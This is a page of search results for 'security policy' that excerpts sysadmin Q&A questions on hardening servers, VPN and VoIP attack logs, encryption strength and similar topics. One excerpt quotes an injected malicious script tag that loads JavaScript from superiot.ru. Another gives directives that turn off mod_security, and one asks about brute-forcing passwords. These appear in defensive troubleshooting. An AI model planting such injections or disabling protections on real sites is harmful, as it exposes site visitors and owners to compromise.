Search Results

Search found 14771 results on 591 pages for 'security policy'.

Page 145/591 | < Previous Page | 141 142 143 144 145 146 147 148 149 150 151 152  | Next Page >

• WEIRD netstat behavior on Windows XP re: www.partypoker.com

  - by tbone

  I really don't know if this is the right place to ask this, but I would really appreciate if someone that is more savvy on Windows XP (Professional) could help me out. For background, I am a 10+ years programmer, so I'm not a total idiot, but I am far from an expert on TCP/IP, etc, and this has me totally confused. When I do a netstat (on Windows XP) I seem to always get a huge amount of www.partypoker.com connections and I can't figure out where they are coming from. A netstat -o shows me that some are coming from PID xxx, which is firefox, but if I kill it, the connections still remain. Some are coming from PID 0, which makes no sense to me. SECOND PROBLEM: One would think you could edit the C:\WINDOWS\system32\drivers\etc\hosts file to block this, but it seems like my machine is ignoring the hosts file! (I have tried with the DNS client service both enabled and disabled, same result). So I just rebooted, killed all my normal programs, and I can't seem to reproduce the problem. If I was a paranoid person, I would think there was some sort of an intelligent trojan running. I am running Windows XP Pro, Kaspersky Antivirus, ccCleaner, and am fully up to date on Windows Update. What gives???? So, I guess my questions are: 1. Is anyone else seeing these wird connections to partypoker.com? 2. Why isn't my hosts filter working? 3. Is there some utility I can run to find out whats happening? I've tried autoruns.exe from sysinternals but don't see anything interesting. Am I the only one with this problem? If there are any additional things you need me to run, let me know.

  Read the article

• Disable mod_security on Dreamhost, for a single cgi script

  - by Hippyjim

  Hi I've searched around a lot, and tried various tweaks to .htaccess files to try to turn off mod_security for a particular cgi script (uber uploader) but it doesn't seem to have any effect. The most popular one I see rehashed all over the web is: # Turn off mod_security filtering. SecFilterEngine Off # The below probably isn't needed, # but better safe than sorry. SecFilterScanPOST Off Which looks relative simple to me - if "SecFilterEngine" is in some way related to mod_security of course. Shame it has absolutely no effect! Does anyone have a suggested way I can simply disable it for a request to any file in my cgi-bin directory?

  Read the article

• Where are the ssh logs kept on the iphone?

  - by officespace

  I have a jailbroken iphone with openssh. Where are the ssh logs kept on the iphone?

  Read the article

• Do proxies really provide anonymity?

  - by Somebody still uses you MS-DOS

  Do web proxies really provide anonymity? I mean, without someone asking for logs in a web proxy server for who/when connected, is it impossible to know who was behind that IP address? I'm asking this because I heard somewhere that some technologies (like "flash") bypass personal IP information for requests or something like that. (I'm a noob in server configuration and concepts like DNS and proxies. Thanks!)

  Read the article

• How to protect an OS X Server from an unauthorized physical connection?

  - by GJ

  Hi I have an OS X 10.6 server, which I administer via SSH and VNC (via SSH tunnel). I can't leave it at the login window since then VNC connections are refused. Therefore I currently leave it logged with my user account. Since it doesn't have a monitor attached, it doesn't go into screen saver mode, which means it doesn't require a password to retake control. This means it is very easy for anyone connecting a keyboard/mouse and monitor to take control of the system. The screen saver password protection, which I can't get to activate, unlike the system's login window, is perfectly compatible with VNC connections. How could I prevent such direct access to the server without connecting a monitor and without blocking my ability to connect with VNC? Thanks!

  Read the article

• A non interactive alternative to makecert.

  - by mark

  Dear ladies and sirs. I have a need to create a self signed certificate non interactively. Unfortunately, the only tool that I know of (makecert) is interactive - it uses GUI to ask for a password. My OS is Windows (from XP to 2008). The only thing close that I managed to find is http://www.codeproject.com/Tips/125982/How-to-run-Makecert-without-password-window.aspx, however, it is still not good. Any ideas?

  Read the article

• Bad ways to secure wireless network.

  - by Moshe

  I was wondering if anybody had any thoughts on this, as I recently saw a Verizon DSL network set up where the WEP key was the last 8 characters of the router's MAC address. (It's bad enough that hey were using WEP in the first place...)

  Read the article

• LDAP for privilege control?

  - by neoice

  I've been wondering for a while if LDAP can be used to control user privileges. For example, if I have UNIX and web logins, is there an easy way to grant a user access to just or just UNIX (or even both?) My current attempt at solving this very problem was to create 'login' and 'nologin' groups, but this doesn't seem fine-grained enough to meet the ideas I have in my head. I'm also still in the situation where all UNIX users are web users, which isn't a problem so much as an indicator of the limitations. Does anyone have any input on this? Has this problem already been solved?

  Read the article

• How to tell credentials used for a Network Mapping?

  - by shanecourtrille

  I have a networking mapping that doesn't appear to work. When I connect to the mapping I get access denied when I try to create a folder. When I created the mapping I told it to login as another account. I have verified that account has the proper rights on the server side of things. How can I verify that my local machine is connecting with the right credentials?

  Read the article

• How secure are third party Ubuntu (APT) repository mirrors

  - by bakytn

  Hello! We have locally an Ubuntu mirrors to save a lot of traffic (our external traffic is not free) So whenever I apt-get install "program" it gets from that repository. the question is...basically they can substitute any package with their own? So it's 100% on my own risk and I can be hacked easily on any apt-get upgrade or a-g install or a-g dist-upgrade? for example the very basic ones like "telnet" or any other.

  Read the article

• Information about recent code injection from http://superiot.ru

  - by klennepette

  Hello, I manage the hosting for a few dozen websites. Since about a week I've been finding this code in 12 different websites in theindex.php files: <script type="text/javascript" src="http://superiot.ru/**.js"></script> // The name of the actual javascript file differs <!-- some hash here--> Some of the websites are on different servers, some aren't. I'm just wondering if anyone else has been seeing this too. Edit with some more information: All servers are centOS 5.3 PHP versions are either 5.2.9 or 5.2.4 Apache versions are either 2.2.3 or 1.3.39

  Read the article

• Using SSLv3 - Enabling Strong Ciphers Server 2008

  - by Igor K

  I've disabled SSLv2 and SSLv3 is on. However I cannot connect to a remote server which fails with The client and server cannot communicate, because they do not possess a common algorithm Ran an SSL check (http://www.serversniff.net/sslcheck.php) on the remote server and ours, and noticed none of the ciphers they accept we have on our server. How can this be configured? (Windows Web Server 2008) Remote Server Accepted SSL ciphers: DHE-RSA-AES256-SHA AES256-SHA EDH-RSA-DES-CBC3-SHA DES-CBC3-SHA DHE-RSA-AES128-SHA AES128-SHA Our server by default accepts: DES-CBC3-SHA RC4-SHA RC4-MD5

  Read the article

• Is there an apache module to slow down site scans?

  - by florin

  I am administering a few web servers. Each night, random hosts from the Internet are probing them for various vulnerabilities in php, phpadmin, horde, mysqladmin, etc. Is there a way (apache plugin?) to slow down the rate of attack? For SSH, I have a rate limiting rule on the firewall, which does not allow more than three connections per minute. But I don't want to rate limit all HTTP access, only the access that returns 404s. Is there such an apache module?

  Read the article

• Exchange 2003 default permissions for ANONYMOUS LOGON and Everyone

  - by Make it useful Keep it simple

  ANONYMOUS LOGON and Everyone have the following top level permissions in our Exchange 2003 Server: Read Execute Read permissions List contents Read properties List objects Create public folder Create named properties in the information store Are these the "default" settings? In particular, are the "Read" and "Execute" permissions a problem? We have a simple small business setup, Outlook clients connect to the server on the local network, OWA is used from outside the network for browser and smartphone access. Thanks

  Read the article

• how insecure is my short password really?

  - by rika-uehara

  Using systems like TrueCrypt, when I have to define a new password I am often informed that using a short password is insecure and "very easy" to break by brute-force. I always use passwords of 8 characters in length, which are not based on dictionary words, which consists of characters from the set A-Z, a-z, 0-9 I.e. I use password like sDvE98f1 How easy is it to crack such a password by brute-force? I.e. how fast. I know it heavily depends on the hardware but maybe someone could give me an estimate how long it would take to do this on a dual core with 2GHZ or whatever to have a frame of reference for the hardware. To briute-force attack such a password one needs not only to cycle through all combinations but also try to de-crypt with each guessed password which also needs some time. Also, is there some software to brute-force hack truecrypt because I want to try to brute-force crack my own passsword to see how long it takes if it is really that "very easy".

  Read the article

• How Hacker Can Access VPS CentOS 6 content?

  - by user2118559

  Just want to understand. Please, correct mistakes and write advices Hacker can access to VPS: 1. Through (using) console terminal, for example, using PuTTY. To access, hacker need to know port number, username and password. Port number hacker can know scanning open ports and try to login. The only way to login as I understand need to know username and password. To block (make more difficult) port scanning, need to use iptables configure /etc/sysconfig/iptables. I followed this https://www.digitalocean.com/community/articles/how-to-setup-a-basic-ip-tables-configuration-on-centos-6 tutorial and got *nat :PREROUTING ACCEPT [87:4524] :POSTROUTING ACCEPT [77:4713] :OUTPUT ACCEPT [77:4713] COMMIT *mangle :PREROUTING ACCEPT [2358:200388] :INPUT ACCEPT [2358:200388] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [2638:477779] :POSTROUTING ACCEPT [2638:477779] COMMIT *filter :INPUT DROP [1:40] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [339:56132] -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT -A INPUT -p tcp -m tcp --tcp-flags FIN,SYN,RST,PSH,ACK,URG NONE -j DROP -A INPUT -p tcp -m tcp ! --tcp-flags FIN,SYN,RST,ACK SYN -m state --state NEW -j DROP -A INPUT -p tcp -m tcp --tcp-flags FIN,SYN,RST,PSH,ACK,URG FIN,SYN,RST,PSH,ACK,URG -j DROP -A INPUT -i lo -j ACCEPT -A INPUT -p tcp -m tcp --dport 80 -j ACCEPT -A INPUT -p tcp -m tcp --dport 110 -j ACCEPT -A INPUT -p tcp -m tcp --dport 22 -j ACCEPT -A INPUT -s 11.111.11.111/32 -p tcp -m tcp --dport 22 -j ACCEPT -A INPUT -p tcp -m tcp --dport 21 -j ACCEPT -A INPUT -s 11.111.11.111/32 -p tcp -m tcp --dport 21 -j ACCEPT COMMIT Regarding ports that need to be opened. If does not use ssl, then seems must leave open port 80 for website. Then for ssh (default 22) and for ftp (default 21). And set ip address, from which can connect. So if hacker uses other ip address, he can not access even knowing username and password? Regarding emails not sure. If I send email, using Gmail (Send mail as: (Use Gmail to send from your other email addresses)), then port 25 not necessary. For incoming emails at dynadot.com I use Email Forwarding. Does it mean that emails “does not arrive to VPS” (before arriving to VPS, emails are forwarded, for example to Gmail)? If emails does not arrive to VPS, then seems port 110 also not necessary. If use only ssl, must open port 443 and close port 80. Do not understand regarding port 3306 In PuTTY with /bin/netstat -lnp see Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN 992/mysqld As understand it is for mysql. But does not remember that I have opened such port (may be when installed mysql, the port is opened automatically?). Mysql is installed on the same server, where all other content. Need to understand regarding port 3306 2. Also hacker may be able access console terminal through VPS hosting provider Control Panel (serial console emergency access). As understand only using console terminal (PuTTY, etc.) can make “global” changes (changes that can not modify with ftp). 3. Hacker can access to my VPS exploiting some hole in my php code and uploading, for example, Trojan. Unfortunately, faced situation that VPS was hacked. As understand it was because I used ZPanel. On VPS ( \etc\zpanel\panel\bin) ) found one php file, that was identified as Trojan by some virus scanners (at virustotal.com). Experimented with the file on local computer (wamp). And appears that hacker can see all content of VPS, rename, delete, upload etc. From my opinion, if in PuTTY use command like chattr +i /etc/php.ini then hacker could not be able to modify php.ini. Is there any other way to get into VPS?

  Read the article

• Spam in Whois: How is it done and how do I protect my domain?

  - by user2964971

  Yes, there are answered questions regarding spam in Whois. But still unclear: How do they do it? How should I respond? What precautions can I take? For example: Whois for google.com [...] Server Name: GOOGLE.COM.ZOMBIED.AND.HACKED.BY.WWW.WEB-HACK.COM IP Address: 217.107.217.167 Registrar: DOMAINCONTEXT, INC. Whois Server: whois.domaincontext.com Referral URL: http://www.domaincontext.com Server Name: GOOGLE.COM.ZZZZZ.GET.LAID.AT.WWW.SWINGINGCOMMUNITY.COM IP Address: 69.41.185.195 Registrar: TUCOWS DOMAINS INC. Whois Server: whois.tucows.com Referral URL: http://domainhelp.opensrs.net Server Name: GOOGLE.COM.ZZZZZZZZZZZZZ.GET.ONE.MILLION.DOLLARS.AT.WWW.UNIMUNDI.COM IP Address: 209.126.190.70 Registrar: PDR LTD. D/B/A PUBLICDOMAINREGISTRY.COM Whois Server: whois.PublicDomainRegistry.com Referral URL: http://www.PublicDomainRegistry.com Server Name: GOOGLE.COM.ZZZZZZZZZZZZZZZZZZZZZZZZZZ.HAVENDATA.COM IP Address: 50.23.75.44 Registrar: PDR LTD. D/B/A PUBLICDOMAINREGISTRY.COM Whois Server: whois.PublicDomainRegistry.com Referral URL: http://www.PublicDomainRegistry.com Server Name: GOOGLE.COMMAS2CHAPTERS.COM IP Address: 216.239.32.21 Registrar: CRAZY DOMAINS FZ-LLC Whois Server: whois.crazydomains.com Referral URL: http://www.crazydomains.com [...] >>> Last update of whois database: Thu, 05 Jun 2014 02:10:51 UTC <<< [...] >>> Last update of WHOIS database: 2014-06-04T19:04:53-0700 <<< [...]

  Read the article

• Account to read AD, join machine to domain, delete computer accounts and move computers to OUs

  - by Ben

  I want to create an account that will perform the following: Join computers to a domain (not restricted to 10, like a normal user) Check for computer accounts in AD Delete computers from AD Move computers between OUs I don't want to allow it to do anything else, so don't want a domain admin account. Can anyone guide me in the right direction in terms of permissions? Not sure if I should be using delegation of control wizard? Cheers, Ben

  Read the article

• hard drive forensics tool for linux

  - by Jack

  I am looking for an application I used in 2001. It was a curses application that displayed devices or files in hexadecimal format, and allowed searching through them and other functionality. I can't find anything remotely like this, does anyone have an idea?

  Read the article

• Is zip's encryption really bad?

  - by Nifle

  The standard advice for many years regarding compression and encryption has been that the encryption strength of zip is bad. Is this really the case in this day and age? I read this article about WinZip (it has had the same bad reputation). According to that article the problem is removed provided you follow a few rules when choosing your password. At least 12 characters in length Be random not contain any dictionary, common words or names At least one Upper Case Character Have at least one Lower Case Character Have at least one Numeric Character Have at least one Special Character e.g. $,£,*,%,&,! This would result in roughly 475,920,314,814,253,000,000,000 possible combinations to brute force Please provide recent (say past five years) links to back up your information.

  Read the article

• Lock System when certain hardware is removed

  - by er4z0r

  Hi all, I am working at a company where you are suppused to lock your screen whenever you leave your desk alone for a few minutes. Now I wondered if there is a nifty little tool that would lock my screen once a certain device is removed from the system. The ideal thing would of course be to have a short-range transmitter that causes the screen to be locked once it goes out of range. But for now I would also stick with removing a pen-drive from my laptop. I am pretty sure this is feasible. I just wan't to know if there are any preexistent projects.

  Read the article

• How to stop registration attempts on Asterisk

  - by Travesty3

  The main question: My Asterisk logs are littered with messages like these: [2012-05-29 15:53:49] NOTICE[5578] chan_sip.c: Registration from '<sip:[email protected]>' failed for '37.75.210.177' - No matching peer found [2012-05-29 15:53:50] NOTICE[5578] chan_sip.c: Registration from '<sip:[email protected]>' failed for '37.75.210.177' - No matching peer found [2012-05-29 15:53:55] NOTICE[5578] chan_sip.c: Registration from '<sip:[email protected]>' failed for '37.75.210.177' - No matching peer found [2012-05-29 15:53:55] NOTICE[5578] chan_sip.c: Registration from '<sip:[email protected]>' failed for '37.75.210.177' - No matching peer found [2012-05-29 15:53:57] NOTICE[5578] chan_sip.c: Sending fake auth rejection for device <sip:[email protected]>;tag=cb23fe53 [2012-05-29 15:53:57] NOTICE[5578] chan_sip.c: Sending fake auth rejection for device <sip:[email protected]>;tag=cb23fe53 [2012-05-29 15:54:02] NOTICE[5578] chan_sip.c: Registration from '<sip:[email protected]>' failed for '37.75.210.177' - No matching peer found [2012-05-29 15:54:03] NOTICE[5578] chan_sip.c: Registration from '<sip:[email protected]>' failed for '37.75.210.177' - No matching peer found [2012-05-29 21:20:36] NOTICE[5578] chan_sip.c: Registration from '"55435217"<sip:[email protected]>' failed for '65.218.221.180' - No matching peer found [2012-05-29 21:20:36] NOTICE[5578] chan_sip.c: Registration from '"1731687005"<sip:[email protected]>' failed for '65.218.221.180' - No matching peer found [2012-05-30 01:18:58] NOTICE[5578] chan_sip.c: Sending fake auth rejection for device "unknown" <sip:[email protected]>;tag=dEBcOzUysX [2012-05-30 01:18:58] NOTICE[5578] chan_sip.c: Sending fake auth rejection for device "unknown" <sip:[email protected]>;tag=9zUari4Mve [2012-05-30 01:19:00] NOTICE[5578] chan_sip.c: Sending fake auth rejection for device "unknown" <sip:[email protected]>;tag=sOYgI1ItQn [2012-05-30 01:19:02] NOTICE[5578] chan_sip.c: Sending fake auth rejection for device "unknown" <sip:[email protected]>;tag=2EGLTzZSEi [2012-05-30 01:19:04] NOTICE[5578] chan_sip.c: Sending fake auth rejection for device "unknown" <sip:[email protected]>;tag=j0JfZoPcur [2012-05-30 01:19:06] NOTICE[5578] chan_sip.c: Sending fake auth rejection for device "unknown" <sip:[email protected]>;tag=Ra0DFDKggt [2012-05-30 01:19:08] NOTICE[5578] chan_sip.c: Sending fake auth rejection for device "unknown" <sip:[email protected]>;tag=rR7q7aTHEz [2012-05-30 01:19:10] NOTICE[5578] chan_sip.c: Sending fake auth rejection for device "unknown" <sip:[email protected]>;tag=VHUMtOpIvU [2012-05-30 01:19:12] NOTICE[5578] chan_sip.c: Sending fake auth rejection for device "unknown" <sip:[email protected]>;tag=JxZUzBnPMW I use Asterisk for an automated phone system. The only thing it does is receives incoming calls and executes a Perl script. No outgoing calls, no incoming calls to an actual phone, no phones registered with Asterisk. It seems like there should be an easy way to block all unauthorized registration attempts, but I have struggled with this for a long time. It seems like there should be a more effective way to prevent these attempts from even getting far enough to reach my Asterisk logs. Some setting I could turn on/off that doesn't allow registration attempts at all or something. Is there any way to do this? Also, am I correct in assuming that the "Registration from ..." messages are likely people attempting to get access to my Asterisk server (probably to make calls on my account)? And what's the difference between those messages and the "Sending fake auth rejection ..." messages? Further detail: I know that the "Registration from ..." lines are intruders attempting to get access to my Asterisk server. With Fail2Ban set up, these IPs are banned after 5 attempts (for some reason, one got 6 attempts, but w/e). But I have no idea what the "Sending fake auth rejection ..." messages mean or how to stop these potential intrusion attempts. As far as I can tell, they have never been successful (haven't seen any weird charges on my bills or anything). Here's what I have done: Set up hardware firewall rules as shown below. Here, xx.xx.xx.xx is the IP address of the server, yy.yy.yy.yy is the IP address of our facility, and aa.aa.aa.aa, bb.bb.bb.bb, and cc.cc.cc.cc are the IP addresses that our VoIP provider uses. Theoretically, ports 10000-20000 should only be accessible by those three IPs.+-------+-----------------------------+----------+-----------+--------+-----------------------------+------------------+ | Order | Source Ip | Protocol | Direction | Action | Destination Ip | Destination Port | +-------+-----------------------------+----------+-----------+--------+-----------------------------+------------------+ | 1 | cc.cc.cc.cc/255.255.255.255 | udp | inbound | permit | xx.xx.xx.xx/255.255.255.255 | 10000-20000 | | 2 | any | tcp | inbound | permit | xx.xx.xx.xx/255.255.255.255 | 80 | | 3 | any | tcp | inbound | permit | xx.xx.xx.xx/255.255.255.255 | 2749 | | 4 | any | tcp | inbound | permit | xx.xx.xx.xx/255.255.255.255 | 443 | | 5 | any | tcp | inbound | permit | xx.xx.xx.xx/255.255.255.255 | 53 | | 6 | any | tcp | inbound | permit | xx.xx.xx.xx/255.255.255.255 | 1981 | | 7 | any | tcp | inbound | permit | xx.xx.xx.xx/255.255.255.255 | 1991 | | 8 | any | tcp | inbound | permit | xx.xx.xx.xx/255.255.255.255 | 2001 | | 9 | yy.yy.yy.yy/255.255.255.255 | udp | inbound | permit | xx.xx.xx.xx/255.255.255.255 | 137-138 | | 10 | yy.yy.yy.yy/255.255.255.255 | tcp | inbound | permit | xx.xx.xx.xx/255.255.255.255 | 139 | | 11 | yy.yy.yy.yy/255.255.255.255 | tcp | inbound | permit | xx.xx.xx.xx/255.255.255.255 | 445 | | 14 | aa.aa.aa.aa/255.255.255.255 | udp | inbound | permit | xx.xx.xx.xx/255.255.255.255 | 10000-20000 | | 17 | bb.bb.bb.bb/255.255.255.255 | udp | inbound | permit | xx.xx.xx.xx/255.255.255.255 | 10000-20000 | | 18 | any | tcp | inbound | permit | xx.xx.xx.xx/255.255.255.255 | 1971 | | 19 | any | tcp | inbound | permit | xx.xx.xx.xx/255.255.255.255 | 2739 | | 20 | any | tcp | inbound | permit | xx.xx.xx.xx/255.255.255.255 | 1023-1050 | | 21 | any | all | inbound | deny | any on server | 1-65535 | +-------+-----------------------------+----------+-----------+--------+-----------------------------+------------------+ Set up Fail2Ban. This is sort of working, but it's reactive instead of proactive, and doesn't seem to be blocking everything (like the "Sending fake auth rejection ..." messages). Set up rules in sip.conf to deny all except for my VoIP provider. Here is my sip.conf with almost all commented lines removed (to save space). Notice at the bottom is my attempt to deny all except for my VoIP provider:[general] context=default allowguest=no allowoverlap=no bindport=5060 bindaddr=0.0.0.0 srvlookup=yes disallow=all allow=g726 allow=ulaw allow=alaw allow=g726aal2 allow=adpcm allow=slin allow=lpc10 allow=speex allow=g726 insecure=invite alwaysauthreject=yes ;registertimeout=20 registerattempts=0 register = user:pass:[email protected]:5060/700 [mysipprovider] type=peer username=user fromuser=user secret=pass host=sip.mysipprovider.com fromdomain=sip.mysipprovider.com nat=no ;canreinvite=yes qualify=yes context=inbound-mysipprovider disallow=all allow=ulaw allow=alaw allow=gsm insecure=port,invite deny=0.0.0.0/0.0.0.0 permit=aa.aa.aa.aa/255.255.255.255 permit=bb.bb.bb.bb/255.255.255.255 permit=cc.cc.cc.cc/255.255.255.255

  Read the article

• Start multiple instances of Firefox

  - by Vi

  How can I have multiple independent instances of Mozilla Firefox 3.5 on the same X server, but started from different user accounts (consequently, different profiles)? Limited success was only with Xephyr :1, DISPLAY=:1 /usr/local/bin/firefox, but Xephyr has no Cygwin/X's "rootless" mode so it's not comfortable (see other question). The idea is to have one Firefox instance for various "Serious Business" things and the other for regular browsing with dozens of add-ons securely isolated.

  Read the article

• How do I remove the ServerSignature added by mod_fcgid?

  - by matthew

  I'm running Mod_Security and I'm using the SecServerSignature to customize the Server header that Apache returns. This part works fine, however I'm also running mod_fcgid which appends "mod_fcgid/2.3.5" to the header. Is there any way I can turn this off? Setting ServerSignature off doesn't do anything. I was able to get it to go away by changing the ServerTokens but that removed the customization I had added.

  Read the article

• Possible DNS Injection and/or SSL hijack?

  - by Anthony

  So if I go to my site without indicating the protocol, I'm taken to: http://example.org/test.php But if I go directly to: https://example.org/test.php I get a 404 back. If I go to just: https://example.org I get a totally different site (a page about martial arts). I went to the site via https not very long ago (maybe a week?) and it was fine. This is a shared server, as I understand it, and I do not have shell access, so I'm limited to the site's CPanel to do any further investigations. But when I go to: example.org:2083 I'm taken to https://example.org:2083, which, if someone has taken over the SSL port, could mean they have taken over the 2083 part as well (at least in my paranoid mind). I'm made more nervous by the fact that the cpanel login page at the above address looks very new (better, really) compared to the last time I went to it over the weekend. It's possible that wires got crossed somewhere after a system update, but I don't want to put in my name username and password in case it's a phishing attempt. Is there any way to know for sure without shell access to know for sure if someone has taken over? If I look up the IP address for the host name, the IP address matches what I have on a phpinfo page I can get to over http. If I go to the IP address directly on port 2083, I get the same login mentioned above (new and and suspiciously nice). But the SSL cert shows as good when I go this route. So if that's the case (I know the IP is right, the cert checks out, and there isn't any DNS involved), is that enough to feel safe at that point of entry? Finally, if I can safely log in via the IP, does anyone have any advice on where to check first on CPanel for why the SSL port is forwarding to a site on karate? Thanks.

  Read the article

< Previous Page | 141 142 143 144 145 146 147 148 149 150 151 152  | Next Page >